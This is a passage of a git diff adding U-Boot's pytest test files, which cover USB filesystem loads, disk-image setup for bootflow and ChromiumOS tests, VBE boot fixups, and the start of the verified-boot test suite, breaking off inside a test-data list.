+ pytest.skip('No devices detected')
+
+ part_detect = 0
+ fs = 'ext2'
+ for x in range(0, int(storage_device)):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('usb dev %d' % x)
+ try:
+ partitions = devices[x][fs]
+ except:
+ print('No %s table on this device' % fs.upper())
+ continue
+
+ for part in partitions:
+ part_detect = 1
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+ output = u_boot_console.run_command('crc32 %x %x' % (addr, size))
+ m = re.search('==> (.+?)', output)
+ if not m:
+ pytest.fail('CRC32 failed')
+ expected_crc32 = m.group(1)
+
+ offset = random.randrange(128, 1024, 128)
+ output = u_boot_console.run_command(
+ '%sload usb %d:%s %x /%s' % (fs, x, part, addr + offset, file)
+ )
+ expected_text = '%d bytes read' % size
+ assert expected_text in output
+
+ output = u_boot_console.run_command(
+ 'crc32 %x $filesize' % (addr + offset)
+ )
+ assert expected_crc32 in output
+
+ if not part_detect:
+ pytest.skip('No %s partition detected' % fs.upper())
+
+@pytest.mark.buildconfigspec('cmd_usb')
+@pytest.mark.buildconfigspec('cmd_fs_generic')
+def test_usb_ls(u_boot_console):
+ devices, controllers, storage_device = test_usb_part(u_boot_console)
+ if not devices:
+ pytest.skip('No devices detected')
+
+ part_detect = 0
+ for x in range(0, int(storage_device)):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('usb dev %d' % x)
+ for fs in ['fat', 'ext4']:
+ try:
+ partitions = devices[x][fs]
+ except:
+ print('No %s table on this device' % fs.upper())
+ continue
+
+ for part in partitions:
+ part_detect = 1
+ output = u_boot_console.run_command('ls usb %d:%s' % (x, part))
+ if re.search(r'No \w+ table on this device', output):
+ pytest.fail(
+ '%s: Partition table not found %d' % (fs.upper(), x)
+ )
+
+ if not part_detect:
+ pytest.skip('No partition detected')
+
+@pytest.mark.buildconfigspec('cmd_usb')
+@pytest.mark.buildconfigspec('cmd_fs_generic')
+def test_usb_load(u_boot_console):
+ devices, controllers, storage_device = test_usb_part(u_boot_console)
+ if not devices:
+ pytest.skip('No devices detected')
+
+ part_detect = 0
+ for x in range(0, int(storage_device)):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('usb dev %d' % x)
+ for fs in ['fat', 'ext4']:
+ try:
+ partitions = devices[x][fs]
+ except:
+ print('No %s table on this device' % fs.upper())
+ continue
+
+ for part in partitions:
+ part_detect = 1
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+
+ if fs == 'fat':
+ file, size = test_usb_fatload_fatwrite(u_boot_console)
+ elif fs == 'ext4':
+ file, size = test_usb_ext4load_ext4write(u_boot_console)
+
+ output = u_boot_console.run_command('crc32 %x %x' % (addr, size))
+ m = re.search('==> (.+?)', output)
+ if not m:
+ pytest.fail('CRC32 failed')
+ expected_crc32 = m.group(1)
+
+ offset = random.randrange(128, 1024, 128)
+ output = u_boot_console.run_command(
+ 'load usb %d:%s %x /%s' % (x, part, addr + offset, file)
+ )
+ expected_text = '%d bytes read' % size
+ assert expected_text in output
+
+ output = u_boot_console.run_command(
+ 'crc32 %x $filesize' % (addr + offset)
+ )
+ assert expected_crc32 in output
+
+ if not part_detect:
+ pytest.skip('No partition detected')
+
+@pytest.mark.buildconfigspec('cmd_usb')
+@pytest.mark.buildconfigspec('cmd_fs_generic')
+def test_usb_save(u_boot_console):
+ devices, controllers, storage_device = test_usb_part(u_boot_console)
+ if not devices:
+ pytest.skip('No devices detected')
+
+ part_detect = 0
+ for x in range(0, int(storage_device)):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('usb dev %d' % x)
+ for fs in ['fat', 'ext4']:
+ try:
+ partitions = devices[x][fs]
+ except:
+ print('No %s table on this device' % fs.upper())
+ continue
+
+ for part in partitions:
+ part_detect = 1
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+ size = random.randint(4, 1 * 1024 * 1024)
+ file = '%s_%d' % ('uboot_test', size)
+
+ offset = random.randrange(128, 1024, 128)
+ output = u_boot_console.run_command(
+ 'save usb %d:%s %x /%s %x'
+ % (x, part, addr + offset, file, size)
+ )
+ expected_text = '%d bytes written' % size
+ assert expected_text in output
+
+ if not part_detect:
+ pytest.skip('No partition detected')
diff --git a/test/py/tests/test_ut.py b/test/py/tests/test_ut.py
new file mode 100644
index 00000000000..c169c835e38
--- /dev/null
+++ b/test/py/tests/test_ut.py
@@ -0,0 +1,510 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+
+import collections
+import getpass
+import gzip
+import os
+import os.path
+import pytest
+
+import u_boot_utils
+# pylint: disable=E0611
+from tests import fs_helper
+
+def mkdir_cond(dirname):
+ """Create a directory if it doesn't already exist
+
+ Args:
+ dirname (str): Name of directory to create
+ """
+ if not os.path.exists(dirname):
+ os.mkdir(dirname)
+
+def setup_image(cons, mmc_dev, part_type, second_part=False):
+ """Create a 20MB disk image with a single partition
+
+ Args:
+ cons (ConsoleBase): Console to use
+ mmc_dev (int): MMC device number to use, e.g. 1
+ part_type (int): Partition type, e.g. 0xc for FAT32
+ second_part (bool): True to contain a small second partition
+
+ Returns:
+ tuple:
+ str: Filename of MMC image
+ str: Directory name of 'mnt' directory
+ """
+ fname = os.path.join(cons.config.source_dir, f'mmc{mmc_dev}.img')
+ mnt = os.path.join(cons.config.persistent_data_dir, 'mnt')
+ mkdir_cond(mnt)
+
+ spec = f'type={part_type:x}, size=18M, bootable'
+ if second_part:
+ spec += '\ntype=c'
+
+ u_boot_utils.run_and_log(cons, 'qemu-img create %s 20M' % fname)
+ u_boot_utils.run_and_log(cons, 'sudo sfdisk %s' % fname,
+ stdin=spec.encode('utf-8'))
+ return fname, mnt
+
+def mount_image(cons, fname, mnt, fstype):
+ """Create a filesystem and mount it on partition 1
+
+ Args:
+ cons (ConsoleBase): Console to use
+ fname (str): Filename of MMC image
+ mnt (str): Directory name of 'mnt' directory
+ fstype (str): Filesystem type ('vfat' or 'ext4')
+
+ Returns:
+ str: Name of loop device used
+ """
+ out = u_boot_utils.run_and_log(cons, 'sudo losetup --show -f -P %s' % fname)
+ loop = out.strip()
+ part = f'{loop}p1'
+ u_boot_utils.run_and_log(cons, f'sudo mkfs.{fstype} {part}')
+ opts = ''
+ if fstype == 'vfat':
+ opts += f' -o uid={os.getuid()},gid={os.getgid()}'
+ u_boot_utils.run_and_log(cons, f'sudo mount -o loop {part} {mnt}{opts}')
+ u_boot_utils.run_and_log(cons, f'sudo chown {getpass.getuser()} {mnt}')
+ return loop
+
+def copy_prepared_image(cons, mmc_dev, fname):
+ """Use a prepared image since we cannot create one
+
+ Args:
+ cons (ConsoleBase): Console touse
+ mmc_dev (int): MMC device number
+ fname (str): Filename of MMC image
+ """
+ infname = os.path.join(cons.config.source_dir,
+ f'test/py/tests/bootstd/mmc{mmc_dev}.img.xz')
+ u_boot_utils.run_and_log(
+ cons,
+ ['sh', '-c', 'xz -dc %s >%s' % (infname, fname)])
+
+def setup_bootmenu_image(cons):
+ """Create a 20MB disk image with a single ext4 partition
+
+ This is modelled on Armbian 22.08 Jammy
+ """
+ mmc_dev = 4
+ fname, mnt = setup_image(cons, mmc_dev, 0x83)
+
+ loop = None
+ mounted = False
+ complete = False
+ try:
+ loop = mount_image(cons, fname, mnt, 'ext4')
+ mounted = True
+
+ vmlinux = 'Image'
+ initrd = 'uInitrd'
+ dtbdir = 'dtb'
+ script = '''# DO NOT EDIT THIS FILE
+#
+# Please edit /boot/armbianEnv.txt to set supported parameters
+#
+
+setenv load_addr "0x9000000"
+setenv overlay_error "false"
+# default values
+setenv rootdev "/dev/mmcblk%dp1"
+setenv verbosity "1"
+setenv console "both"
+setenv bootlogo "false"
+setenv rootfstype "ext4"
+setenv docker_optimizations "on"
+setenv earlycon "off"
+
+echo "Boot script loaded from ${devtype} ${devnum}"
+
+if test -e ${devtype} ${devnum} ${prefix}armbianEnv.txt; then
+ load ${devtype} ${devnum} ${load_addr} ${prefix}armbianEnv.txt
+ env import -t ${load_addr} ${filesize}
+fi
+
+if test "${logo}" = "disabled"; then setenv logo "logo.nologo"; fi
+
+if test "${console}" = "display" || test "${console}" = "both"; then setenv consoleargs "console=tty1"; fi
+if test "${console}" = "serial" || test "${console}" = "both"; then setenv consoleargs "console=ttyS2,1500000 ${consoleargs}"; fi
+if test "${earlycon}" = "on"; then setenv consoleargs "earlycon ${consoleargs}"; fi
+if test "${bootlogo}" = "true"; then setenv consoleargs "bootsplash.bootfile=bootsplash.armbian ${consoleargs}"; fi
+
+# get PARTUUID of first partition on SD/eMMC the boot script was loaded from
+if test "${devtype}" = "mmc"; then part uuid mmc ${devnum}:1 partuuid; fi
+
+setenv bootargs "root=${rootdev} rootwait rootfstype=${rootfstype} ${consoleargs} consoleblank=0 loglevel=${verbosity} ubootpart=${partuuid} usb-storage.quirks=${usbstoragequirks} ${extraargs} ${extraboardargs}"
+
+if test "${docker_optimizations}" = "on"; then setenv bootargs "${bootargs} cgroup_enable=cpuset cgroup_memory=1 cgroup_enable=memory swapaccount=1"; fi
+
+load ${devtype} ${devnum} ${ramdisk_addr_r} ${prefix}uInitrd
+load ${devtype} ${devnum} ${kernel_addr_r} ${prefix}Image
+
+load ${devtype} ${devnum} ${fdt_addr_r} ${prefix}dtb/${fdtfile}
+fdt addr ${fdt_addr_r}
+fdt resize 65536
+for overlay_file in ${overlays}; do
+ if load ${devtype} ${devnum} ${load_addr} ${prefix}dtb/rockchip/overlay/${overlay_prefix}-${overlay_file}.dtbo; then
+ echo "Applying kernel provided DT overlay ${overlay_prefix}-${overlay_file}.dtbo"
+ fdt apply ${load_addr} || setenv overlay_error "true"
+ fi
+done
+for overlay_file in ${user_overlays}; do
+ if load ${devtype} ${devnum} ${load_addr} ${prefix}overlay-user/${overlay_file}.dtbo; then
+ echo "Applying user provided DT overlay ${overlay_file}.dtbo"
+ fdt apply ${load_addr} || setenv overlay_error "true"
+ fi
+done
+if test "${overlay_error}" = "true"; then
+ echo "Error applying DT overlays, restoring original DT"
+ load ${devtype} ${devnum} ${fdt_addr_r} ${prefix}dtb/${fdtfile}
+else
+ if load ${devtype} ${devnum} ${load_addr} ${prefix}dtb/rockchip/overlay/${overlay_prefix}-fixup.scr; then
+ echo "Applying kernel provided DT fixup script (${overlay_prefix}-fixup.scr)"
+ source ${load_addr}
+ fi
+ if test -e ${devtype} ${devnum} ${prefix}fixup.scr; then
+ load ${devtype} ${devnum} ${load_addr} ${prefix}fixup.scr
+ echo "Applying user provided fixup script (fixup.scr)"
+ source ${load_addr}
+ fi
+fi
+booti ${kernel_addr_r} ${ramdisk_addr_r} ${fdt_addr_r}
+
+# Recompile with:
+# mkimage -C none -A arm -T script -d /boot/boot.cmd /boot/boot.scr
+''' % (mmc_dev)
+ bootdir = os.path.join(mnt, 'boot')
+ mkdir_cond(bootdir)
+ cmd_fname = os.path.join(bootdir, 'boot.cmd')
+ scr_fname = os.path.join(bootdir, 'boot.scr')
+ with open(cmd_fname, 'w') as outf:
+ print(script, file=outf)
+
+ infname = os.path.join(cons.config.source_dir,
+ 'test/py/tests/bootstd/armbian.bmp.xz')
+ bmp_file = os.path.join(bootdir, 'boot.bmp')
+ u_boot_utils.run_and_log(
+ cons,
+ ['sh', '-c', f'xz -dc {infname} >{bmp_file}'])
+
+ u_boot_utils.run_and_log(
+ cons, f'mkimage -C none -A arm -T script -d {cmd_fname} {scr_fname}')
+
+ kernel = 'vmlinuz-5.15.63-rockchip64'
+ target = os.path.join(bootdir, kernel)
+ with open(target, 'wb') as outf:
+ print('kernel', outf)
+
+ symlink = os.path.join(bootdir, 'Image')
+ if os.path.exists(symlink):
+ os.remove(symlink)
+ u_boot_utils.run_and_log(
+ cons, f'echo here {kernel} {symlink}')
+ os.symlink(kernel, symlink)
+
+ u_boot_utils.run_and_log(
+ cons, f'mkimage -C none -A arm -T script -d {cmd_fname} {scr_fname}')
+ complete = True
+
+ except ValueError as exc:
+ print('Falled to create image, failing back to prepared copy: %s',
+ str(exc))
+ finally:
+ if mounted:
+ u_boot_utils.run_and_log(cons, 'sudo umount --lazy %s' % mnt)
+ if loop:
+ u_boot_utils.run_and_log(cons, 'sudo losetup -d %s' % loop)
+
+ if not complete:
+ copy_prepared_image(cons, mmc_dev, fname)
+
+def setup_bootflow_image(cons):
+ """Create a 20MB disk image with a single FAT partition"""
+ mmc_dev = 1
+ fname, mnt = setup_image(cons, mmc_dev, 0xc, second_part=True)
+
+ loop = None
+ mounted = False
+ complete = False
+ try:
+ loop = mount_image(cons, fname, mnt, 'vfat')
+ mounted = True
+
+ vmlinux = 'vmlinuz-5.3.7-301.fc31.armv7hl'
+ initrd = 'initramfs-5.3.7-301.fc31.armv7hl.img'
+ dtbdir = 'dtb-5.3.7-301.fc31.armv7hl'
+ script = '''# extlinux.conf generated by appliance-creator
+ui menu.c32
+menu autoboot Welcome to Fedora-Workstation-armhfp-31-1.9. Automatic boot in # second{,s}. Press a key for options.
+menu title Fedora-Workstation-armhfp-31-1.9 Boot Options.
+menu hidden
+timeout 20
+totaltimeout 600
+
+label Fedora-Workstation-armhfp-31-1.9 (5.3.7-301.fc31.armv7hl)
+ kernel /%s
+ append ro root=UUID=9732b35b-4cd5-458b-9b91-80f7047e0b8a rhgb quiet LANG=en_US.UTF-8 cma=192MB cma=256MB
+ fdtdir /%s/
+ initrd /%s''' % (vmlinux, dtbdir, initrd)
+ ext = os.path.join(mnt, 'extlinux')
+ mkdir_cond(ext)
+
+ with open(os.path.join(ext, 'extlinux.conf'), 'w') as fd:
+ print(script, file=fd)
+
+ inf = os.path.join(cons.config.persistent_data_dir, 'inf')
+ with open(inf, 'wb') as fd:
+ fd.write(gzip.compress(b'vmlinux'))
+ u_boot_utils.run_and_log(cons, 'mkimage -f auto -d %s %s' %
+ (inf, os.path.join(mnt, vmlinux)))
+
+ with open(os.path.join(mnt, initrd), 'w') as fd:
+ print('initrd', file=fd)
+
+ mkdir_cond(os.path.join(mnt, dtbdir))
+
+ dtb_file = os.path.join(mnt, '%s/sandbox.dtb' % dtbdir)
+ u_boot_utils.run_and_log(
+ cons, 'dtc -o %s' % dtb_file, stdin=b'/dts-v1/; / {};')
+ complete = True
+ except ValueError as exc:
+ print('Falled to create image, failing back to prepared copy: %s',
+ str(exc))
+ finally:
+ if mounted:
+ u_boot_utils.run_and_log(cons, 'sudo umount --lazy %s' % mnt)
+ if loop:
+ u_boot_utils.run_and_log(cons, 'sudo losetup -d %s' % loop)
+
+ if not complete:
+ copy_prepared_image(cons, mmc_dev, fname)
+
+
+def setup_cros_image(cons):
+ """Create a 20MB disk image with ChromiumOS partitions"""
+ Partition = collections.namedtuple('part', 'start,size,name')
+ parts = {}
+ disk_data = None
+
+ def pack_kernel(cons, arch, kern, dummy):
+ """Pack a kernel containing some fake data
+
+ Args:
+ cons (ConsoleBase): Console to use
+ arch (str): Architecture to use ('x86' or 'arm')
+ kern (str): Filename containing kernel
+ dummy (str): Dummy filename to use for config and bootloader
+
+ Return:
+ bytes: Packed-kernel data
+ """
+ kern_part = os.path.join(cons.config.result_dir, 'kern-part-{arch}.bin')
+ u_boot_utils.run_and_log(
+ cons,
+ f'futility vbutil_kernel --pack {kern_part} '
+ '--keyblock doc/chromium/files/devkeys/kernel.keyblock '
+ '--signprivate doc/chromium/files/devkeys/kernel_data_key.vbprivk '
+ f'--version 1 --config {dummy} --bootloader {dummy} '
+ f'--vmlinuz {kern}')
+
+ with open(kern_part, 'rb') as inf:
+ kern_part_data = inf.read()
+ return kern_part_data
+
+ def set_part_data(partnum, data):
+ """Set the contents of a disk partition
+
+ This updates disk_data by putting data in the right place
+
+ Args:
+ partnum (int): Partition number to set
+ data (bytes): Data for that partition
+ """
+ nonlocal disk_data
+
+ start = parts[partnum].start * sect_size
+ disk_data = disk_data[:start] + data + disk_data[start + len(data):]
+
+ mmc_dev = 5
+ fname = os.path.join(cons.config.source_dir, f'mmc{mmc_dev}.img')
+ u_boot_utils.run_and_log(cons, 'qemu-img create %s 20M' % fname)
+ #mnt = os.path.join(cons.config.persistent_data_dir, 'mnt')
+ #mkdir_cond(mnt)
+ u_boot_utils.run_and_log(cons, f'cgpt create {fname}')
+
+ uuid_state = 'ebd0a0a2-b9e5-4433-87c0-68b6b72699c7'
+ uuid_kern = 'fe3a2a5d-4f32-41a7-b725-accc3285a309'
+ uuid_root = '3cb8e202-3b7e-47dd-8a3c-7ff2a13cfcec'
+ uuid_rwfw = 'cab6e88e-abf3-4102-a07a-d4bb9be3c1d3'
+ uuid_reserved = '2e0a753d-9e48-43b0-8337-b15192cb1b5e'
+ uuid_efi = 'c12a7328-f81f-11d2-ba4b-00a0c93ec93b'
+
+ ptr = 40
+
+ # Number of sectors in 1MB
+ sect_size = 512
+ sect_1mb = (1 << 20) // sect_size
+
+ required_parts = [
+ {'num': 0xb, 'label':'RWFW', 'type': uuid_rwfw, 'size': '1'},
+ {'num': 6, 'label':'KERN_C', 'type': uuid_kern, 'size': '1'},
+ {'num': 7, 'label':'ROOT_C', 'type': uuid_root, 'size': '1'},
+ {'num': 9, 'label':'reserved', 'type': uuid_reserved, 'size': '1'},
+ {'num': 0xa, 'label':'reserved', 'type': uuid_reserved, 'size': '1'},
+
+ {'num': 2, 'label':'KERN_A', 'type': uuid_kern, 'size': '1M'},
+ {'num': 4, 'label':'KERN_B', 'type': uuid_kern, 'size': '1M'},
+
+ {'num': 8, 'label':'OEM', 'type': uuid_state, 'size': '1M'},
+ {'num': 0xc, 'label':'EFI-SYSTEM', 'type': uuid_efi, 'size': '1M'},
+
+ {'num': 5, 'label':'ROOT_B', 'type': uuid_root, 'size': '1'},
+ {'num': 3, 'label':'ROOT_A', 'type': uuid_root, 'size': '1'},
+ {'num': 1, 'label':'STATE', 'type': uuid_state, 'size': '1M'},
+ ]
+
+ for part in required_parts:
+ size_str = part['size']
+ if 'M' in size_str:
+ size = int(size_str[:-1]) * sect_1mb
+ else:
+ size = int(size_str)
+ u_boot_utils.run_and_log(
+ cons,
+ f"cgpt add -i {part['num']} -b {ptr} -s {size} -t {part['type']} {fname}")
+ ptr += size
+
+ u_boot_utils.run_and_log(cons, f'cgpt boot -p {fname}')
+ out = u_boot_utils.run_and_log(cons, f'cgpt show -q {fname}')
+ '''We expect something like this:
+ 8239 2048 1 Basic data
+ 45 2048 2 ChromeOS kernel
+ 8238 1 3 ChromeOS rootfs
+ 2093 2048 4 ChromeOS kernel
+ 8237 1 5 ChromeOS rootfs
+ 41 1 6 ChromeOS kernel
+ 42 1 7 ChromeOS rootfs
+ 4141 2048 8 Basic data
+ 43 1 9 ChromeOS reserved
+ 44 1 10 ChromeOS reserved
+ 40 1 11 ChromeOS firmware
+ 6189 2048 12 EFI System Partition
+ '''
+
+ # Create a dict (indexed by partition number) containing the above info
+ for line in out.splitlines():
+ start, size, num, name = line.split(maxsplit=3)
+ parts[int(num)] = Partition(int(start), int(size), name)
+
+ dummy = os.path.join(cons.config.result_dir, 'dummy.txt')
+ with open(dummy, 'wb') as outf:
+ outf.write(b'dummy\n')
+
+ # For now we just use dummy kernels. This limits testing to just detecting
+ # a signed kernel. We could add support for the x86 data structures so that
+ # testing could cover getting the cmdline, setup.bin and other pieces.
+ kern = os.path.join(cons.config.result_dir, 'kern.bin')
+ with open(kern, 'wb') as outf:
+ outf.write(b'kernel\n')
+
+ with open(fname, 'rb') as inf:
+ disk_data = inf.read()
+
+ # put x86 kernel in partition 2 and arm one in partition 4
+ set_part_data(2, pack_kernel(cons, 'x86', kern, dummy))
+ set_part_data(4, pack_kernel(cons, 'arm', kern, dummy))
+
+ with open(fname, 'wb') as outf:
+ outf.write(disk_data)
+
+ return fname
+
+
+def setup_cedit_file(cons):
+ infname = os.path.join(cons.config.source_dir,
+ 'test/boot/files/expo_layout.dts')
+ inhname = os.path.join(cons.config.source_dir,
+ 'test/boot/files/expo_ids.h')
+ expo_tool = os.path.join(cons.config.source_dir, 'tools/expo.py')
+ outfname = 'cedit.dtb'
+ u_boot_utils.run_and_log(
+ cons, f'{expo_tool} -e {inhname} -l {infname} -o {outfname}')
+
+@pytest.mark.buildconfigspec('ut_dm')
+def test_ut_dm_init(u_boot_console):
+ """Initialize data for ut dm tests."""
+
+ fn = u_boot_console.config.source_dir + '/testflash.bin'
+ if not os.path.exists(fn):
+ data = b'this is a test'
+ data += b'\x00' * ((4 * 1024 * 1024) - len(data))
+ with open(fn, 'wb') as fh:
+ fh.write(data)
+
+ fn = u_boot_console.config.source_dir + '/spi.bin'
+ if not os.path.exists(fn):
+ data = b'\x00' * (2 * 1024 * 1024)
+ with open(fn, 'wb') as fh:
+ fh.write(data)
+
+ # Create a file with a single partition
+ fn = u_boot_console.config.source_dir + '/scsi.img'
+ if not os.path.exists(fn):
+ data = b'\x00' * (2 * 1024 * 1024)
+ with open(fn, 'wb') as fh:
+ fh.write(data)
+ u_boot_utils.run_and_log(
+ u_boot_console, f'sfdisk {fn}', stdin=b'type=83')
+
+ fs_helper.mk_fs(u_boot_console.config, 'ext2', 0x200000, '2MB')
+ fs_helper.mk_fs(u_boot_console.config, 'fat32', 0x100000, '1MB')
+
+ mmc_dev = 6
+ fn = os.path.join(u_boot_console.config.source_dir, f'mmc{mmc_dev}.img')
+ data = b'\x00' * (12 * 1024 * 1024)
+ with open(fn, 'wb') as fh:
+ fh.write(data)
+
+@pytest.mark.buildconfigspec('cmd_bootflow')
+def test_ut_dm_init_bootstd(u_boot_console):
+ """Initialise data for bootflow tests"""
+
+ setup_bootflow_image(u_boot_console)
+ setup_bootmenu_image(u_boot_console)
+ setup_cedit_file(u_boot_console)
+ setup_cros_image(u_boot_console)
+
+ # Restart so that the new mmc1.img is picked up
+ u_boot_console.restart_uboot()
+
+
+def test_ut(u_boot_console, ut_subtest):
+ """Execute a "ut" subtest.
+
+ The subtests are collected in function generate_ut_subtest() from linker
+ generated lists by applying a regular expression to the lines of file
+ u-boot.sym. The list entries are created using the C macro UNIT_TEST().
+
+ Strict naming conventions have to be followed to match the regular
+ expression. Use UNIT_TEST(foo_test_bar, _flags, foo_test) for a test bar in
+ test suite foo that can be executed via command 'ut foo bar' and is
+ implemented in C function foo_test_bar().
+
+ Args:
+ u_boot_console (ConsoleBase): U-Boot console
+ ut_subtest (str): test to be executed via command ut, e.g 'foo bar' to
+ execute command 'ut foo bar'
+ """
+
+ if ut_subtest == 'hush hush_test_simple_dollar':
+ # ut hush hush_test_simple_dollar prints "Unknown command" on purpose.
+ with u_boot_console.disable_check('unknown_command'):
+ output = u_boot_console.run_command('ut ' + ut_subtest)
+ assert('Unknown command \'quux\' - try \'help\'' in output)
+ else:
+ output = u_boot_console.run_command('ut ' + ut_subtest)
+ assert output.endswith('Failures: 0')
diff --git a/test/py/tests/test_vbe.py b/test/py/tests/test_vbe.py
new file mode 100644
index 00000000000..50b6c1cd911
--- /dev/null
+++ b/test/py/tests/test_vbe.py
@@ -0,0 +1,120 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright 2022 Google LLC
+#
+# Test addition of VBE
+
+import pytest
+
+import fit_util
+
+# Define a base ITS which we can adjust using % and a dictionary
+base_its = '''
+/dts-v1/;
+
+/ {
+ description = "Example kernel";
+
+ images {
+ kernel-1 {
+ data = /incbin/("%(kernel)s");
+ type = "kernel";
+ arch = "sandbox";
+ os = "linux";
+ load = <0x40000>;
+ entry = <0x8>;
+ compression = "%(compression)s";
+
+ random {
+ compatible = "vbe,random-rand";
+ vbe,size = <0x40>;
+ vbe,required;
+ };
+ aslr1 {
+ compatible = "vbe,aslr-move";
+ vbe,align = <0x100000>;
+ };
+ aslr2 {
+ compatible = "vbe,aslr-rand";
+ };
+ efi-runtime {
+ compatible = "vbe,efi-runtime-rand";
+ };
+ wibble {
+ compatible = "vbe,wibble";
+ };
+ };
+
+ fdt-1 {
+ description = "snow";
+ data = /incbin/("%(fdt)s");
+ type = "flat_dt";
+ arch = "sandbox";
+ load = <%(fdt_addr)#x>;
+ compression = "%(compression)s";
+ };
+ };
+ configurations {
+ default = "conf-1";
+ conf-1 {
+ kernel = "kernel-1";
+ fdt = "fdt-1";
+ };
+ };
+};
+'''
+
+# Define a base FDT - currently we don't use anything in this
+base_fdt = '''
+/dts-v1/;
+
+/ {
+ chosen {
+ };
+};
+'''
+
+# This is the U-Boot script that is run for each test. First load the FIT,
+# then run the 'bootm' command, then run the unit test which checks that the
+# working tree has the required things filled in according to the OS requests
+# above (random, aslr2, etc.)
+base_script = '''
+host load hostfs 0 %(fit_addr)x %(fit)s
+fdt addr %(fit_addr)x
+bootm start %(fit_addr)x
+bootm loados
+bootm prep
+fdt addr
+fdt print
+ut bootstd -f vbe_test_fixup_norun
+'''
+
+@pytest.mark.boardspec('sandbox_flattree')
+@pytest.mark.requiredtool('dtc')
+def test_vbe(u_boot_console):
+ cons = u_boot_console
+ kernel = fit_util.make_kernel(cons, 'vbe-kernel.bin', 'kernel')
+ fdt = fit_util.make_dtb(cons, base_fdt, 'vbe-fdt')
+ fdt_out = fit_util.make_fname(cons, 'fdt-out.dtb')
+
+ params = {
+ 'fit_addr' : 0x1000,
+
+ 'kernel' : kernel,
+
+ 'fdt' : fdt,
+ 'fdt_out' : fdt_out,
+ 'fdt_addr' : 0x80000,
+ 'fdt_size' : 0x1000,
+
+ 'compression' : 'none',
+ }
+ mkimage = cons.config.build_dir + '/tools/mkimage'
+ fit = fit_util.make_fit(cons, mkimage, base_its, params, 'test-vbe.fit',
+ base_fdt)
+ params['fit'] = fit
+ cmd = base_script % params
+
+ with cons.log.section('Kernel load'):
+ output = cons.run_command_list(cmd.splitlines())
+
+ assert 'Failures: 0' in output[-1]
diff --git a/test/py/tests/test_vbe_vpl.py b/test/py/tests/test_vbe_vpl.py
new file mode 100644
index 00000000000..ed12d3a4618
--- /dev/null
+++ b/test/py/tests/test_vbe_vpl.py
@@ -0,0 +1,40 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright 2022 Google LLC
+#
+# Test addition of VBE
+
+import os
+
+import pytest
+import u_boot_utils
+
+@pytest.mark.boardspec('sandbox_vpl')
+@pytest.mark.requiredtool('dtc')
+def test_vbe_vpl(u_boot_console):
+ cons = u_boot_console
+ #cmd = [cons.config.build_dir + fname, '-v']
+ ram = os.path.join(cons.config.build_dir, 'ram.bin')
+ fdt = os.path.join(cons.config.build_dir, 'arch/sandbox/dts/test.dtb')
+ image_fname = os.path.join(cons.config.build_dir, 'image.bin')
+
+ # Enable firmware1 and the mmc that it uses. These are needed for the full
+ # VBE flow.
+ u_boot_utils.run_and_log(
+ cons, f'fdtput -t s {fdt} /bootstd/firmware0 status disabled')
+ u_boot_utils.run_and_log(
+ cons, f'fdtput -t s {fdt} /bootstd/firmware1 status okay')
+ u_boot_utils.run_and_log(
+ cons, f'fdtput -t s {fdt} /mmc3 status okay')
+ u_boot_utils.run_and_log(
+ cons, f'fdtput -t s {fdt} /mmc3 filename {image_fname}')
+
+ # Remove any existing RAM file, so we don't have old data present
+ if os.path.exists(ram):
+ os.remove(ram)
+ flags = ['-p', image_fname, '-w', '-s', 'state.dtb']
+ cons.restart_uboot_with_flags(flags)
+
+ # Make sure that VBE was used in both VPL (to load SPL) and SPL (to load
+ # U-Boot
+ output = cons.run_command('vbe state')
+ assert output == 'Phases: VPL SPL'
diff --git a/test/py/tests/test_vboot.py b/test/py/tests/test_vboot.py
new file mode 100644
index 00000000000..7e0e8e44750
--- /dev/null
+++ b/test/py/tests/test_vboot.py
@@ -0,0 +1,643 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2016, Google Inc.
+#
+# U-Boot Verified Boot Test
+
+"""
+This tests verified boot in the following ways:
+
+For image verification:
+- Create FIT (unsigned) with mkimage
+- Check that verification shows that no keys are verified
+- Sign image
+- Check that verification shows that a key is now verified
+
+For configuration verification:
+- Corrupt signature and check for failure
+- Create FIT (with unsigned configuration) with mkimage
+- Check that image verification works
+- Sign the FIT and mark the key as 'required' for verification
+- Check that image verification works
+- Corrupt the signature
+- Check that image verification no-longer works
+
+For pre-load header verification:
+- Create FIT image with a pre-load header
+- Check that signature verification succeeds
+- Corrupt the FIT image
+- Check that signature verification fails
+- Launch an FIT image without a pre-load header
+- Check that image verification fails
+
+Tests run with both SHA1 and SHA256 hashing.
+
+This also tests fdt_add_pubkey utility in the simple way:
+- Create DTB and FIT files
+- Add keys with fdt_add_pubkey to DTB
+- Sign FIT image
+- Check with fit_check_sign that keys properly added to DTB file
+"""
+
+import os
+import shutil
+import struct
+import pytest
+import u_boot_utils as util
+import vboot_forge
+import vboot_evil
+
+# Common helper functions
+def dtc(dts, cons, dtc_args, datadir, tmpdir, dtb):
+ """Run the device tree compiler to compile a .dts file
+
+ The output file will be the same as the input file but with a .dtb
+ extension.
+
+ Args:
+ dts: Device tree file to compile.
+ cons: U-Boot console.
+ dtc_args: DTC arguments.
+ datadir: Path to data directory.
+ tmpdir: Path to temp directory.
+ dtb: Resulting DTB file.
+ """
+ dtb = dts.replace('.dts', '.dtb')
+ util.run_and_log(cons, 'dtc %s %s%s -O dtb '
+ '-o %s%s' % (dtc_args, datadir, dts, tmpdir, dtb))
+
+def make_fit(its, cons, mkimage, dtc_args, datadir, fit):
+ """Make a new FIT from the .its source file.
+
+ This runs 'mkimage -f' to create a new FIT.
+
+ Args:
+ its: Filename containing .its source.
+ cons: U-Boot console.
+ mkimage: Path to mkimage utility.
+ dtc_args: DTC arguments.
+ datadir: Path to data directory.
+ fit: Resulting FIT file.
+ """
+ util.run_and_log(cons, [mkimage, '-D', dtc_args, '-f',
+ '%s%s' % (datadir, its), fit])
+
+# Only run the full suite on a few combinations, since it doesn't add any more
+# test coverage.
+TESTDATA_IN = [
